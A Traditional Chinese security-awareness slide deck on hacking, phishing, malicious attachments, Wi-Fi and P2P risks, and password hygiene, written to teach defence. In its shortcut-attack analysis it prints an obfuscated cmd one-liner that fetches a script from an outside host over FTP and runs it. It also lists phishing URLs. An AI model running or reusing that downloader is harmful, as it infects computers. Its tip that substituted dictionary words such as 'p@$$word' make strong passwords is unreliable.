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大綱

� 資訊安全基本定義

� 個人息息相關的資安議題

� 資訊安全基本概念

� 資安防禦之道 – 個人篇
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� 資安防禦之道 – 個人篇

� 結語



� 資訊安全基本定義

� 個人息息相關的資安議題

� 資訊安全基本概念

� 資安防禦之道 – 個人篇
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� 資安防禦之道 – 個人篇

� 結語



� 2004年5月，電影「特洛依︰
木馬屠城」

�電影主角阿基里斯在希臘神
話中是刀槍不入的勇猛戰士，
堪稱無敵！
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(圖片來源)
http://www.atrium-media.com



�阿基里斯刀槍不入的全身，源於嬰兒時
由母親倒抓其右腳踝浸泡冥河，所以只
有沒浸泡到的右腳踝是其唯一弱點

�所以縱使阿基里斯神勇無敵，在敵人一
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�所以縱使阿基里斯神勇無敵，在敵人一
箭射中其右腳踝後，無敵神話仍舊破碎！

(圖片來源)
http://blogs.vembu.com



， ︰
Security is a chain.

It's only as secure as the weakest link.
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It's only as secure as the weakest link.



資訊安全的資訊安全的資訊安全的資訊安全的「「「「木桶理論木桶理論木桶理論木桶理論」」」」

�四塊長短不一的木板組成木
桶，所能承盛的水量高度取
決於最短的那塊木板

�一個團體的整體素質水準不
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�一個團體的整體素質水準不
取決於最好的一位，而是取
決於最差的那一名



�組織建構了護城河 →  內部
網路保護
建起了高昂的城牆 →  各項
安全防護
建造了堅固的城門 →  防火
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建造了堅固的城門 →  防火
牆

�而您，士兵準備好了嗎…
您的輕忽，可能開啟防護漏
洞…

(圖片來源)
http://www.japaneselifestyle.com.au



專業駭客 玩家
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專業駭客
特定目標

玩家
亂槍打鳥



透過網路駭客論壇就可以找到駭客工具和教學
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各種詳細的駭客入門教學

�ASP網站出現這個代碼，可以入侵嗎？
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�木馬是不是這樣生成的…

�一秒鐘破解網頁鎖定…

�本網吧攻擊…



某網頁撰寫工具被發現有一個系統漏洞，

有駭客撰寫了一個工具

可以透過這個系統漏洞進行入侵，
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可以透過這個系統漏洞進行入侵，

並將工具放在網路上…



入侵網站後端範例
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選擇目標
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使用駭客工具破解得到帳號密碼…
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用駭客工具猜測網站後端網址
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得到網站後端網址
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輸入帳號密碼，進入了網站後端系統~
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所以，不要覺得您不會是駭客的目標~
這些玩家駭客並沒有特定目標，

只要是系統有漏洞、疏於防護的，
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只要是系統有漏洞、疏於防護的，

可能就是他的目標！！



� 資訊安全基本定義

� 個人息息相關的資安議題

� 資訊安全基本概念

� 資安防禦之道 – 個人篇
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� 資安防禦之道 – 個人篇

� 結語



USB病毒

您可能不曉得…

您的電腦病毒是您自己帶回家的！

在隨身碟寫入自動
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在隨身碟寫入自動
執行電腦病毒



密碼安全

您可能不曉得…

您的懶人密碼讓駭客輕易破解您的密碼！

使用暴力破解軟體
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使用暴力破解軟體
破解網路相簿密碼



無線網路威脅

您可能不曉得…

您輕忽無線網路安全所造成
資安嚴重威脅！
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無線基地台遭入侵
造成帳號密碼外洩



釣魚網頁

您可能不曉得…

您接到詐騙電話是因為您自己在釣魚網站
洩露了帳號密碼！
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http://yahooo.c65.163ns.com/data/bak/



社交工程攻擊

您可能不曉得…

您早就淪為社交工程攻擊受害者！

惡意程式執行檔
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惡意程式執行檔



駭客如何入侵您的電腦駭客如何入侵您的電腦駭客如何入侵您的電腦駭客如何入侵您的電腦？！？！？！？！

� 主動式的攻擊

–電子郵件

–即時通

�

� 未更新修補程式

� 安全防護不足

–例如未啟用防火牆功能

誘騙您上當植入木馬程式誘騙您上當植入木馬程式誘騙您上當植入木馬程式誘騙您上當植入木馬程式 利用漏洞進行入侵利用漏洞進行入侵利用漏洞進行入侵利用漏洞進行入侵
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� 上勾式的攻擊

–釣魚網站

–工具軟體嵌入惡意程式



媒體報導「駭客侵視訊 偷拍出浴女」

� 駭客以木馬程式植
入他人電腦，再遠
端開啟女子電腦上
的攝影機…
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木馬程式

所以您要曉得，

這些木馬程式威力強大，一旦中招，可能就任由宰割了！
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被遙控的電腦



木馬程式的威脅木馬程式的威脅木馬程式的威脅木馬程式的威脅

� 您不能依賴防毒軟體能
幫您阻擋掉所有的木馬
程式，因為這些惡意程
式可能利用「加殼免殺
」技術避過防毒軟體的
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」技術避過防毒軟體的
偵測！



木馬程式的技倆

所以只要想辦法讓您去執行它…

您就被植入木馬程式了！！
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林志玲MaggieQ露三點寫真

三點寫真.com



所謂「社交工程」，就是詐騙！

透過電子郵件等方式偽裝身份
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透過電子郵件等方式偽裝身份

誘騙您上勾受騙…

假冒的身份；友善、誘惑的內容…



偽冒身份的電子郵件(1)

�自填寄件來源！！
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偽冒身份的電子郵件(2)

�自填寄件來源！！
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電子郵件攻擊的陷阱

夾帶惡意程式執行檔

內文中的惡意網頁超連結

Html郵件隱藏遠端下載
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Html郵件隱藏遠端下載



夾帶惡意程式執行檔夾帶惡意程式執行檔夾帶惡意程式執行檔夾帶惡意程式執行檔

� 常見的惡意程式執行檔類型 � 「捷徑」亦是下載與執行惡
意程式的方法

.exe .com

.bat
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.bat

.pif
.scr

.lnk



小新的自白書.bat
預防帳號盜用.lnk
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「捷徑」攻擊技倆解析

� 捷徑是一串DOS指令的集合
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� 捷徑是一串DOS指令的集合

� 此例中，這串指令執行了

–連接一個伺服器

–下載惡意程式(木馬程式)

–執行它！

%ComSpec% /c set h=p -&set j=ge&set s=.g03z.&echo echo o www%s%com^>t>b.bat&call 
b.bat&echo aa33>>t&echo bb33>>t&echo echo %j%t p p.vbs^>^>t>>c&echo echo 
bye^>^>t>>c&echo ft%h%s:t>>c&echo start p.vbs>>c&ren c h.bat&call h.bat&



內文中的惡意網頁超連結
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http://penghu.ksdg.com.tw/gb/flash.htm?075

畫面上顯示的連結網址
與真實網址不同…



惡意網頁技倆解析

� 利用工具將惡意程式執行
檔(.exe)轉檔為.bmp、.htm和
.asp三個檔案，放上網頁

� 當您受騙連上這個鏈結網
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� 當您受騙連上這個鏈結網
址(.htm)，即下載安裝了這
個惡意程式！



Html郵件隱藏遠端下載

� Html電子郵件可以在Html中撰寫程式語法，所以您只要瀏覽電
子郵件，就觸發該程式執行

� 利用IE漏洞，不開啟附檔也會中毒！

–2004年3月，Beagle.O電腦病毒使用IE漏洞攻擊，使用者在
Outlook / Outlook Express環境下啟用信件預覽功能，信件中

Page � 41

Outlook / Outlook Express環境下啟用信件預覽功能，信件中
的script就會啟動，連結到惡意程式網站下載病毒程式



Html郵件遠端下載範例
發信端發信端發信端發信端 收信端收信端收信端收信端
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夾帶了一張遠端
下載圖片，並將
圖片隱藏 在這個範例中，

遠端下載圖片有
被阻擋



Html郵件遠端下載範例 (續)

� 如果收信端下載了這
張圖片，即沒有設定
阻擋

� 籍這張圖片下載，發
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� 籍這張圖片下載，發
信端獲取了他的電腦
環境資料…



關閉自動下載圖片

以以以以Microsoft Outlook 2007 為例為例為例為例
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關閉自動下載圖片

以以以以Outlook Express 為例為例為例為例
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工具軟體嵌入惡意程式

� 例如將惡意程式執行檔偽裝
成一個自解壓縮檔

� 所以您以為您下載了一個某
壓縮檔，但其實您一點擊(您
以為是解壓縮)，惡意程式就

惡意程式偽裝技倆解析 – 變更檔案圖示
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以為是解壓縮)，惡意程式就
執行與植入了！



工具軟體嵌入惡意程式

� 將A(您想下載的檔案)、B(
惡意程式)兩個檔案合併成
一個新檔案，並命名為A

� 執行這個新檔案時，A、B

惡意程式偽裝技倆解析惡意程式偽裝技倆解析惡意程式偽裝技倆解析惡意程式偽裝技倆解析 –––– 合併檔案合併檔案合併檔案合併檔案
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� 執行這個新檔案時，A、B
兩個檔案都會執行

� 您會看到A檔案正常執行，
但您大概不曉得B檔案也已
同時安裝進您的電腦！



利用漏洞進行入侵

� 網路上有各種利用系
統漏洞 / 軟體漏洞進
行攻擊的惡意程式

� 若您沒有即時更新修

利用尚未更新修補程式的漏洞
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� 若您沒有即時更新修
補程式，您就可能成
為這些惡意程式的受
害者



利用漏洞進行入侵

� 很多攻擊手法都是利用您電腦的安全防護不足才能成功入侵

� 例如如果您啟用了防火牆

–那麼利用網路掃瞄來試圖入侵，大概就無效！

� 如果您更新了最新的病毒碼

利用安全防護不足的漏洞
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–那麼試圖置入特定程式的入侵方法，也會無效！



政府社交工程演練電子郵件範例(一)

� 郵件主題

–政治新聞政治新聞政治新聞政治新聞

–影劇新聞影劇新聞影劇新聞影劇新聞

–情色主旨情色主旨情色主旨情色主旨
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–休閒娛樂休閒娛樂休閒娛樂休閒娛樂

� 郵件類型

–惡意網頁連結惡意網頁連結惡意網頁連結惡意網頁連結

–惡意惡意惡意惡意WordWordWordWord檔檔檔檔



演練電子郵件(政治新聞)
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演練電子郵件(政治新聞)
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演練電子郵件(影劇新聞)
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演練電子郵件(影劇新聞)
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演練電子郵件(情色主旨)

Page � 55



演練電子郵件(休閒娛樂)
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政府社交工程演練電子郵件範例(二)

� 郵件主題

–科技新知科技新知科技新知科技新知

–保健養生保健養生保健養生保健養生

–休閒娛樂休閒娛樂休閒娛樂休閒娛樂
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–影視八卦影視八卦影視八卦影視八卦

–體育新聞體育新聞體育新聞體育新聞

–情色內容情色內容情色內容情色內容



演練電子郵件(科技新知)
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演練電子郵件(保健養生)
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演練電子郵件(休閒娛樂)
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演練電子郵件(影視八卦)
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演練電子郵件(體育新聞)
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演練電子郵件(情色內容)
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除非您瞭解電子郵件附檔的來源、
您知道會收到該附檔，否則請勿開啟
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如果電子郵件來自不知名人士，
請勿因為好奇心隨意開啟郵件和附檔



� 資訊安全基本定義

� 個人息息相關的資安議題

� 資訊安全基本概念

� 網路安全個資保護認知
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� 網路安全個資保護認知

� 資安防禦之道 – 個人篇

� 結語



您可能沒有注意到，
其實您不經意的電腦使用習慣，散播了他人的個資…
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郵件轉寄

轉寄網路郵件

可能沒注意到要保護他人個資，而外洩了他人的個人資料…
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郵件轉寄

轉寄網路郵件

可能沒注意到要保護他人隱私，而外洩了他人的郵件信箱…
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� 號稱您的轉寄贊助捐款，
是垃圾郵件業者收集郵件
信箱的伎倆

� 您轉寄這些郵件亦只是外
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� 您轉寄這些郵件亦只是外
流您朋友的郵件信箱



您可能沒有也不曉得，
下列這些都是您沒有適當保護自己個資與隱私

的外洩風險…
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� 學生在校內遺失USB記憶卡
，內載有該學生與女友交歡
的短片
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� 將手機交予電話服務商
維修，遭技術人員發現
內有淫片，將短片複製
與友人分享，終被人上
載網路流傳
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載網路流傳



cookie說明

� Cookie是存在瀏覽器中的小型文字檔，記錄使用者瀏
覽網頁的資訊，例如網站網址、使用者曾經輸入的資
訊等
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查詢cookie

25.04477615266337

121.53245582574146
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UrMap是一個電子地圖瀏覽網站
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輸入cookie的資訊作查詢
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表單資料與密碼

� Internet Explorer提供了功能，記住曾經在瀏覽器中輸
入的表單及密碼等資料
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自動記錄登入資料的風險
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因為家中電腦壞掉，所以我現在都到外面
的公用電腦上網..



暫存檔案說明

� 為了更快速地檢視而儲存的網頁、影像和媒體複本

Page � 79



參訪網站 (1/3)
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將隱藏的系統檔案設定顯示 (2/3)

1

2
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3



電腦上的暫存檔 (3/3)
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清除檔案
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清除檔案
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啟用快顯封鎖
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點選彈跳廣告視窗內的超連結與按鍵，
使用視窗右上角的 關閉視窗
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使用視窗右上角的 關閉視窗



沒有加密無線網路…
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嘗試連線基地台…
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沒有設定基地台密碼…
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Configuration頁面
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破解得到連線密碼…

Page � 91



駭客入侵無線網路的問題

� 內部網路安全問題

–駭客與您的電腦處於同一區域網路，可能利用資源共享
進行攻擊

� 外部網路安全問題

Page � 92

� 外部網路安全問題

–駭客進行犯罪，基地台擁有者成了代罪羔羊



無線網路防護(一)

� 設定基地台管理密碼

–預設值常是admin/1234

–修改無線基地台的預設登入帳號密碼
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無線網路防護(二)

� 設定WPA2加密傳輸
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無線網路防護(三)

� 鎖定網路卡MAC位址

–所有網路卡都有唯一ID，稱為MAC

–設定允許連線的MAC位址
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查詢網路卡MAC…
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無線網路安全注意事項

� 修改無線基地台的預設帳號密碼

� 使用WPA2 連線加密或是啟用MAC控管

–多一層防護多一層入侵的障礙

� 啟用日誌 (Log)，定期查看
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� 啟用日誌 (Log)，定期查看

� 良好的使用習慣

–沒加密的無線網路環境，避免使用登入帳號密碼的服務



常見的P2P程式

� 即時通訊軟體

� eDonkey 

� eMule

� Foxy

分享加速式檔案下載
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� Foxy

� BitTorrent / BitComet

� Clubbox / GOGOBOX

� Kuro / ezPeer



傳統伺服器下載

� 使用者由伺服器下載檔案，
多使用者同時下載檔案時
會因頻寬分用，下載檔案
速度會變慢
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P2P網路下載

� 每一個使用者同時擔任提
供檔案角色，某一檔案越
多人下載時，下載檔案速
度會因檔案分段切割越多，
速度越快
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速度越快



使用P2P軟體可能衍生的問題

–任意使用各種P2P軟體下載盜版軟體、電影與音樂等

–使用不當造成電腦內資料外洩

–P2P網路上散播的惡意程式造成電腦中毒

–佔用區域網路連外頻寬
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–佔用區域網路連外頻寬



關於Foxy

–該軟體在分享資料夾的設定上容易讓使用者誤設為整台
電腦全部分享

–該軟體亦容易被植入木馬，資料外洩情況最嚴重
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Foxy資料外洩事件

–2007年4月，警察機關因員警違規使用P2P分享軟體，導
致內部筆錄外洩

–在新聞熱潮下，部分以「刑案筆錄」等文字為檔名的假
檔案藉機散播

Page � 103

→ 檔名與實際內容不符的假檔案在P2P網路上相當常見



Skype的資安威脅

� 竊聽木馬，針對Skype竊
聽。

� 電腦被植入這個木馬，任
何通話內容會以MP3檔的
形式存於電腦，再傳送給
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形式存於電腦，再傳送給
駭客



� 資訊安全基本定義

� 個人息息相關的資安議題

� 資訊安全基本概念

� 資安防禦之道 – 個人篇
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� 資安防禦之道 – 個人篇

� 結語



員工的資料保護安全認知 (1/5)

重視個人帳號的密碼安全

�帳號密碼為身份驗證的基本防護，務必重視密碼保護並設定強
度足夠的安全密碼

�在工作場所之外的電腦登入使用系統，須留意是否為安全的使
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�在工作場所之外的電腦登入使用系統，須留意是否為安全的使
用環境並確認密碼無外洩之虞



員工的資料保護安全認知 (2/5)

注意敏感資料的保護

�適當保護敏感資料，例如將文件加密或設定開啟密碼

�遵守組織的保密規定及遵行各項使用規範

�提供資料供公開查閱，須確認是否有民眾敏感資料（例如身份
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�提供資料供公開查閱，須確認是否有民眾敏感資料（例如身份
證字號、通訊資料等）被不當暴露



員工的資料保護安全認知 (3/5)

遵循公司的電腦使用規定

�工作電腦的使用，應遵循組織的電腦使用規定

�即使工作電腦的使用權限允許安裝軟體，亦必須合乎組織資訊
安全規定、軟體使用規範與法令
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安全規定、軟體使用規範與法令



員工的資料保護安全認知 (4/5)

防範網路詐騙攻擊

�仔細辨視網址列上的網址，詐騙網頁常使用一些易混淆的字母
來偽裝誘騙

�當點擊的網址為原網站的外部連結時，應格外提高警覺
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�當點擊的網址為原網站的外部連結時，應格外提高警覺

�不要因為好奇心任意點擊情色、聳動等標題的網址連結

�網頁、電子郵件畫面上顯示的連結網址，可能造假。可將游標
停留在該連結，左下方會出現真實的連結網址，可確認該連結
是否為真

�電子郵件夾帶副檔名.exe、.com、.bat等檔案，幾乎都是惡意程
式，不要開啟



員工的資料保護安全認知 (5/5)

工作帶回家可能致生的資料外洩風險

�除非組織規定允許，否則不應將公務資料帶回家

�如果必須將公務資料帶回家處理，應確認家中電腦亦有適當的
安全防護，例如啟用防火牆、安裝防毒軟體並更新最新病毒碼、
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安全防護，例如啟用防火牆、安裝防毒軟體並更新最新病毒碼、
更新系統修補程式等

�若使用家中電腦處理公務資料，應儘量保持為較安全的使用環
境，例如不要安裝P2P軟體，甚至離線作業

�儲存重要資料的外接式儲存媒體應小心保管

�個人慣用的筆記型電腦常存有個人、公務資料，應特別留意保
管，勿讓宵小有機可乘



2010年，美國《紐約時報》一篇報導指出，

網路安全公司Imperva公布了一份統計資料，

分析了被駭客入侵竊取的某網站會員帳號密碼，

在三千兩百萬個密碼中，

最多使用者使用的密碼是「123456」，
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最多使用者使用的密碼是「123456」，

有高達1%的會員使用！



• 第二至十名
2) 12345
3) 123456789
4) password
5) iloveyou
6) princess
7) rockyou

• 第十一至二十名
11)nicole
12)daniel
13)babygirl
14)monkey
15) jessica
16) lovely
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7) rockyou
8) 1234567
9) 12345678
10)abc123

16) lovely
17)michael
18)ashley
19)654321
20)qwerty



這些容易記憶的簡單數字密碼，就是「懶人密碼」
雖然方便記憶，卻也容易遭駭客破解！

常見的懶人密碼除了簡單數字外，還包括︰
1) 自己的英文名、生日、電話等個人資料
2) 與帳號相同
3) 簡單的連續英文字元，例如aaaa
4) 簡單的英文字元加數字，例如abc123
5) 電腦鍵盤上的連續字元，例如asdf、qwerty
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5) 電腦鍵盤上的連續字元，例如asdf、qwerty
6) 單字或簡單詞語，例如上述的password與iloveyou



正確的密碼設定

1) 不使用個人資料
2) 不使用有意義的單字
3) 結合大小寫英文、數字和特殊符號

越長的密碼長度當然亦越難被破解，
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越長的密碼長度當然亦越難被破解，
建議密碼最少為八個字元。

包括大小寫英文、數字和特殊符號的
八個字元以上密碼，
即稱為「強式密碼」



如何設定一個容易記憶的強式密碼，

這裡介紹一個最簡單的小技巧，

叫做「替換」。
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替換(一)

1) 首先選擇一個容易記憶的單字，例如「powerpoint」

2) 設計您的替換原則，例如英文「o」替換為數字
「0」、英文「i」替換為數字「1」

3) 這樣即產生出一個結合英文和數字的密碼
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3) 這樣即產生出一個結合英文和數字的密碼
「p0werp01nt」



替換(二)

1) 同樣選擇一個單字，例如「password」

2) 設計替換原則，例如英文「a」替換為符號「@」、
英文「s」替換為符號「$」

3) 產生出一個結合英文和符號的密碼「p@$$word」
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3) 產生出一個結合英文和符號的密碼「p@$$word」



替換(三)

1) 選擇一個單字，例如「facebook」
2) 設計包括數字和符號的替換原則，例如英文「o」替

換為數字「0」、英文「a」替換為符號「@」
3) 再將奇位數的小寫英文字元替換成大寫英文字元
4) 替換後的結果為「F@CeB00k」，即為一個包括大小
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4) 替換後的結果為「F@CeB00k」，即為一個包括大小
寫英文、數字和特殊符號的強式密碼了



不要只用一組密碼，
至少使用兩至三組密碼，

可設定不同重要群組的使用密碼，例如︰
1) 低重要性群組的密碼︰論壇、網站會員…
2) 中重要性群組的密碼︰郵件、網路空間…
3) 高重要性群組的密碼︰網路銀行…
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監控網路連線工具

� CurrPorts

–監控電腦上各個通訊埠連線情況

–綠色軟體

–http://azo-freeware.blogspot.com/2007/09/currports-130.html
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–http://azo-freeware.blogspot.com/2007/09/currports-130.html



打造隨身碟加密鑰匙

� Remora行動碟終極保鑣

–直接在隨身碟中執行加密，能加密整個資料夾

–綠色軟體

–http://www.richskills.com/taiwan/download
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–http://www.richskills.com/taiwan/download



免費的磁碟 / 資料加密軟體

� TrueCrypt

–在硬碟上新增一個加密磁區，使用時只需將要加密的檔案
移入

–綠色軟體
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–http://www.truecrypt.org/downloads.php



� 資訊安全基本定義

� 個人息息相關的資安議題

� 資訊安全基本概念

� 網路安全個資保護認知
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� 網路安全個資保護認知

� 資安防禦之道 – 個人篇

� 結語



資訊安全須融入日常生活方能久遠維護

觀念認知 � 習慣養成
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觀念認知 � 習慣養成



簡報完畢，敬請指教


